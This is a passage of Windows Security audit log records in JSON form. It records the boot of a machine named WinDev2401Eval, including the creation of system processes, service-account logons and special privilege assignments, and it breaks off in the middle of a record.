
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4688,"Version":2,"Level":0,"Task":13312,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.652872Z"}},"EventRecordID":21295,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x3e7","NewProcessId":"0x278","NewProcessName":"C:\\Windows\\System32\\smss.exe","TokenElevationType":"%%1936","ProcessId":"0x1b8","CommandLine":"","TargetUserSid":"S-1-0-0","TargetUserName":"-","TargetDomainName":"-","TargetLogonId":"0x0","ParentProcessName":"C:\\Windows\\System32\\smss.exe","MandatoryLabel":"S-1-16-16384"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4688,"Version":2,"Level":0,"Task":13312,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.654078Z"}},"EventRecordID":21296,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x3e7","NewProcessId":"0x280","NewProcessName":"C:\\Windows\\System32\\wininit.exe","TokenElevationType":"%%1936","ProcessId":"0x230","CommandLine":"","TargetUserSid":"S-1-0-0","TargetUserName":"-","TargetDomainName":"-","TargetLogonId":"0x0","ParentProcessName":"C:\\Windows\\System32\\smss.exe","MandatoryLabel":"S-1-16-16384"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4688,"Version":2,"Level":0,"Task":13312,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.656961Z"}},"EventRecordID":21297,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x3e7","NewProcessId":"0x294","NewProcessName":"C:\\Windows\\System32\\csrss.exe","TokenElevationType":"%%1936","ProcessId":"0x278","CommandLine":"","TargetUserSid":"S-1-0-0","TargetUserName":"-","TargetDomainName":"-","TargetLogonId":"0x0","ParentProcessName":"C:\\Windows\\System32\\smss.exe","MandatoryLabel":"S-1-16-16384"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4688,"Version":2,"Level":0,"Task":13312,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.671262Z"}},"EventRecordID":21298,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x3e7","NewProcessId":"0x2e4","NewProcessName":"C:\\Windows\\System32\\winlogon.exe","TokenElevationType":"%%1936","ProcessId":"0x278","CommandLine":"","TargetUserSid":"S-1-0-0","TargetUserName":"-","TargetDomainName":"-","TargetLogonId":"0x0","ParentProcessName":"C:\\Windows\\System32\\smss.exe","MandatoryLabel":"S-1-16-16384"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4688,"Version":2,"Level":0,"Task":13312,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.689087Z"}},"EventRecordID":21299,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x3e7","NewProcessId":"0x310","NewProcessName":"C:\\Windows\\System32\\services.exe","TokenElevationType":"%%1936","ProcessId":"0x280","CommandLine":"","TargetUserSid":"S-1-0-0","TargetUserName":"-","TargetDomainName":"-","TargetLogonId":"0x0","ParentProcessName":"C:\\Windows\\System32\\wininit.exe","MandatoryLabel":"S-1-16-16384"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4688,"Version":2,"Level":0,"Task":13312,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.716403Z"}},"EventRecordID":21300,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x3e7","NewProcessId":"0x32c","NewProcessName":"C:\\Windows\\System32\\lsass.exe","TokenElevationType":"%%1936","ProcessId":"0x280","CommandLine":"","TargetUserSid":"S-1-0-0","TargetUserName":"-","TargetDomainName":"-","TargetLogonId":"0x0","ParentProcessName":"C:\\Windows\\System32\\wininit.exe","MandatoryLabel":"S-1-16-16384"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":6417,"Version":0,"Level":0,"Task":12290,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.747159Z"}},"EventRecordID":21301,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"ProcessId":"0x32c","ProcessName":"C:\\Windows\\System32\\lsass.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4608,"Version":0,"Level":0,"Task":12288,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.748314Z"}},"EventRecordID":21302,"Correlation":null,"Execution":{"#attributes":{"ProcessID":812,"ThreadID":816}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.749434Z"}},"EventRecordID":21303,"Correlation":null,"Execution":{"#attributes":{"ProcessID":812,"ThreadID":816}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":0,"LogonProcessName":"-","AuthenticationPackageName":"-","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x4","ProcessName":"","IpAddress":"-","IpPort":"-","ImpersonationLevel":"-","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4902,"Version":0,"Level":0,"Task":13568,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.809711Z"}},"EventRecordID":21304,"Correlation":null,"Execution":{"#attributes":{"ProcessID":812,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"PuaCount":0,"PuaPolicyId":"0x7872"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4648,"Version":0,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.821417Z"}},"EventRecordID":21305,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":888}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","LogonGuid":"00000000-0000-0000-0000-000000000000","TargetUserName":"UMFD-0","TargetDomainName":"Font Driver Host","TargetLogonGuid":"00000000-0000-0000-0000-000000000000","TargetServerName":"localhost","TargetInfo":"localhost","ProcessId":"0x280","ProcessName":"C:\\Windows\\System32\\wininit.exe","IpAddress":"-","IpPort":"-"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4648,"Version":0,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.821421Z"}},"EventRecordID":21306,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","LogonGuid":"00000000-0000-0000-0000-000000000000","TargetUserName":"UMFD-1","TargetDomainName":"Font Driver Host","TargetLogonGuid":"00000000-0000-0000-0000-000000000000","TargetServerName":"localhost","TargetInfo":"localhost","ProcessId":"0x2e4","ProcessName":"C:\\Windows\\System32\\winlogon.exe","IpAddress":"-","IpPort":"-"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.821428Z"}},"EventRecordID":21307,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":888}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-96-0-0","TargetUserName":"UMFD-0","TargetDomainName":"Font Driver Host","TargetLogonId":"0x7aa6","LogonType":2,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x280","ProcessName":"C:\\Windows\\System32\\wininit.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1842","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1843"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.821432Z"}},"EventRecordID":21308,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-96-0-1","TargetUserName":"UMFD-1","TargetDomainName":"Font Driver Host","TargetLogonId":"0x7a80","LogonType":2,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x2e4","ProcessName":"C:\\Windows\\System32\\winlogon.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1842","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1843"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.821518Z"}},"EventRecordID":21309,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.821528Z"}},"EventRecordID":21310,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.851655Z"}},"EventRecordID":21311,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-20","TargetUserName":"NETWORK SERVICE","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e4","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.851659Z"}},"EventRecordID":21312,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-20","SubjectUserName":"NETWORK SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e4","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.870095Z"}},"EventRecordID":21313,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.870099Z"}},"EventRecordID":21314,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.923701Z"}},"EventRecordID":21315,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.923705Z"}},"EventRecordID":21316,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":860}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.927929Z"}},"EventRecordID":21317,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-19","TargetUserName":"LOCAL SERVICE","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e5","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.927933Z"}},"EventRecordID":21318,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-19","SubjectUserName":"LOCAL SERVICE","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e5","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.958701Z"}},"EventRecordID":21319,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi 